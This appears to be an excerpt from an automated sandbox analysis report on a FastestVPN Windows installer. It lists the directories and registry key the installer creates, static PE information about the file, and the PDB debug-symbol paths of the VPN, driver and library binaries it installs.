    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-LKGMK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-414AO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-IS5UL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-26JEF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-TUPQN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-8HGA9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-99PJ9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-GCC8H.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-KN6S1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-9K6BQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-QTG1V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-4L5KV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-35J99.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-BN7P3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-4V7RF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CHG7I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-D8A58.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastestVPN_is1Jump to behavior
    Source: mapMd1URzq.exeStatic PE information: certificate valid
    Source: mapMd1URzq.exeStatic file information: File size 11458144 > 1048576
    Source: mapMd1URzq.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb source: is-SRDRF.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: NetSetupuser.pdb source: service.0.etl.18.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\devcon\x64\Release\devcon.pdb source: tapinstall.exe, 0000000C.00000000.2438094003.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000D.00000000.2444210302.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000D.00000002.2500947412.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmp, is-AONU2.tmp.2.dr
    Source: Binary string: C:\BuildAgent\work\da2c3d9512902c54\Tooling\obj\Release\System.Web.Cors\System.Web.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401615848.0000000004382000.00000002.00000001.01000000.0000002A.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbe\FastestVPN.WindowsServic source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdbB3\3 N3_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3403405146.0000000004452000.00000002.00000001.01000000.0000002D.sdmp, is-6ANJF.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdb source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559462590.0000000005592000.00000002.00000001.01000000.0000000F.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbSHA256Z source: FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.00000000010AC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: is-BQE44.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Cors.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp
    Source: Binary string: symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdb source: subinacl.exe, subinacl.exe, 00000028.00000000.2587126067.0000000001001000.00000020.00000001.01000000.00000021.sdmp, subinacl.exe, 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, is-KN6S1.tmp.2.dr
    Source: Binary string: qEC:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3396236781.0000000003F52000.00000002.00000001.01000000.00000023.sdmp, is-K5QR5.tmp.2.dr
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb?? source: is-SRDRF.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Diagnostics.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb@\ source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403405146.0000000004452000.00000002.00000001.01000000.0000002D.sdmp, is-6ANJF.tmp.2.dr
    Source: Binary string: C:\users\vagrant\buildbot\windows-server-2019-static-msbuild\openvpn\x64-Output\Release\openvpn.pdbttLnGCTL source: is-935KR.tmp.2.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\Release\tap0901.pdb source: is-CEAE4.tmp.2.dr
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb source: FastestVPN.exe, FastestVPN.exe, 00000034.00000002.2675505940.00000000032F2000.00000002.00000001.01000000.00000012.sdmp, is-21GOU.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdbSHA256d"M! source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdbRhlh ^h_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3403583965.0000000004462000.00000002.00000001.01000000.0000002E.sdmp, is-BN7P3.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431506994.000000000BE02000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.00000000010AC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb< source: nfregdrv.exe, 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, nfregdrv.exe, 0000001D.00000002.2513543364.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, is-VKG1P.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431614725.000000000BE12000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdbSHA256[ source: FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb )0THi source: nfregdrv.exe, 0000001C.00000000.2511339899.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000000.2512657150.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000002.2513076806.0000000000408000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdbSHA256x source: FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp
    Source: Binary string: tem.pdbo source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-A7TIP.tmp.2.dr
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb source: nfregdrv.exe, 0000001C.00000000.2511339899.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000000.2512657150.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000002.2513076806.0000000000408000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdbH source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2559462590.0000000005592000.00000002.00000001.01000000.0000000F.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404505729.00000000044B2000.00000002.00000001.01000000.00000031.sdmp
    Source: Binary string: NetSetupApi.pdbdb source: service.0.etl.18.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Local\obj\Release\FastestVPN.Data.Local.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413657064.0000000006192000.00000002.00000001.01000000.0000001D.sdmp, is-43KDF.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, is-29MT4.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000000.2516837156.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdbSHA256HXhZm source: FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: Microsoft.Owin.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, is-414AO.tmp.2.dr
    Source: Binary string: mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: @nn.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: NetSetupSvc.pdb source: service.0.etl.18.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.RAS\obj\Debug\VPN.RAS.pdb source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404173378.00000000044A2000.00000002.00000001.01000000.00000030.sdmp, is-1L7K0.tmp.2.dr
    Source: Binary string: C:\Windows\symbols\dll\System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001035000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: q!Microsoft.AspNet.SignalR.Core.pdb`, source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, is-29MT4.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbg source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmp
    Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb/ source: FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdb2 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.ViewModel\obj\Release\FastestVPN.ViewModel.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdbSHA256-( source: FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, is-IS5UL.tmp.2.dr
    Source: Binary string: Windows\dll\mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdbSHA256U source: FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdbVepe be_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdbSHA256 source: is-ERPH0.tmp.2.dr
    Source: Binary string: d:\Bjornar\SVN\istool\isxdl\trunk\source\Release\isxdl.pdb source: mapMd1URzq.tmp, 00000002.00000003.2656000311.0000000007510000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403583965.0000000004462000.00000002.00000001.01000000.0000002E.sdmp, is-BN7P3.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr
    Source: Binary string: BouncyCastle.Crypto.pdbSHA256 source: is-S1CTK.tmp.2.dr
    Source: Binary string: q^/_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdbL+ source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: msvcr100.i386.pdb source: is-5L8BD.tmp.2.dr
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdble source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Diagnostics.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp
    Source: Binary string: System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.5.5\bin\release_c_api\win32\nfapi.pdb source: is-9AV56.tmp.2.dr
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdbdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: System.Configuration.Install.pdbxF source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb2;L; >;_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3404505729.00000000044B2000.00000002.00000001.01000000.00000031.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdbPa source: subinacl.exe, 00000028.00000000.2587126067.0000000001001000.00000020.00000001.01000000.00000021.sdmp, subinacl.exe, 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, is-KN6S1.tmp.2.dr
    Source: Binary string: C:\Windows\Microsoft.NET\Framework\v4.0.30319\spNet.SignalR.Core.pdb561934e089\System.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001035000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-A7TIP.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431506994.000000000BE02000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Diagnostics\obj\Release\FastestVPN.Diagnostics.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412778028.0000000006102000.00000002.00000001.01000000.00000019.sdmp, is-AKR35.tmp.2.dr
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb source: nfregdrv.exe, 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, nfregdrv.exe, 0000001D.00000002.2513543364.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, is-VKG1P.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr
    Source: Binary string: c:\Users\lodejard\Projects\owin-hosting\src\main\Owin.Startup\obj\Release\Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3395829252.0000000003D92000.00000002.00000001.01000000.00000026.sdmp, is-GCC8H.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3410849788.00000000057F2000.00000002.00000001.01000000.00000014.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431614725.000000000BE12000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb@:^: P:_CorDllMainmscoree.dll source: FastestVPN.exe, 00000034.00000002.2675505940.00000000032F2000.00000002.00000001.01000000.00000012.sdmp, is-21GOU.tmp.2.dr
